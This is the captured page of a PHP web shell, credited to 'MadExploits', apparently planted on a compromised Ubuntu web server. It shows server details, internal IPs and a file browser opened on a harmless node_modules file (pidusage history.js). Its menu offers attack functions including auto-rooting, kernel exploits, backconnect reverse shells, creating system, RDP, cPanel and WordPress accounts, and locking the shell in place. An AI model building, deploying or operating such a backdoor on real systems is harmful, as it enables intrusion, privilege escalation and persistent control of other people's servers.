Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
pidusage /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
helpers
[ DIR ]
drwxrwxr-x
bin.js
892
B
-rw-rw-r--
history.js
1.7
KB
-rw-rw-r--
procfile.js
3.83
KB
-rw-rw-r--
ps.js
3.87
KB
-rw-rw-r--
stats.js
1.93
KB
-rw-rw-r--
wmic.js
4.13
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : history.js
'use strict' const DEFAULT_MAXAGE = 60000 const expiration = {} const history = {} const expireListeners = {} let size = 0 let interval = null function get (pid, maxage) { if (maxage <= 0) { return } if (history[pid] !== undefined) { expiration[pid] = Date.now() + (maxage || DEFAULT_MAXAGE) } return history[pid] } function set (pid, object, maxage, onExpire) { if (object === undefined || maxage <= 0) return expiration[pid] = Date.now() + (maxage || DEFAULT_MAXAGE) if (history[pid] === undefined) { size++ sheduleInvalidator(maxage) } history[pid] = object if (onExpire) { expireListeners[pid] = onExpire } } function sheduleInvalidator (maxage) { if (size > 0) { if (interval === null) { interval = setInterval(runInvalidator, (maxage || DEFAULT_MAXAGE) / 2) if (typeof interval.unref === 'function') { interval.unref() } } return } if (interval !== null) { clearInterval(interval) interval = null } } function runInvalidator () { const now = Date.now() const pids = Object.keys(expiration) for (let i = 0; i < pids.length; i++) { const pid = pids[i] if (expiration[pid] < now) { size-- if (expireListeners[pid]) { expireListeners[pid](history[pid]) } delete history[pid] delete expiration[pid] delete expireListeners[pid] } } sheduleInvalidator() } function deleteLoop (obj) { for (const i in obj) { delete obj[i] } } function clear () { if (interval !== null) { clearInterval(interval) interval = null } deleteLoop(history) deleteLoop(expiration) deleteLoop(expireListeners) } module.exports = { get: get, set: set, clear: clear }
Close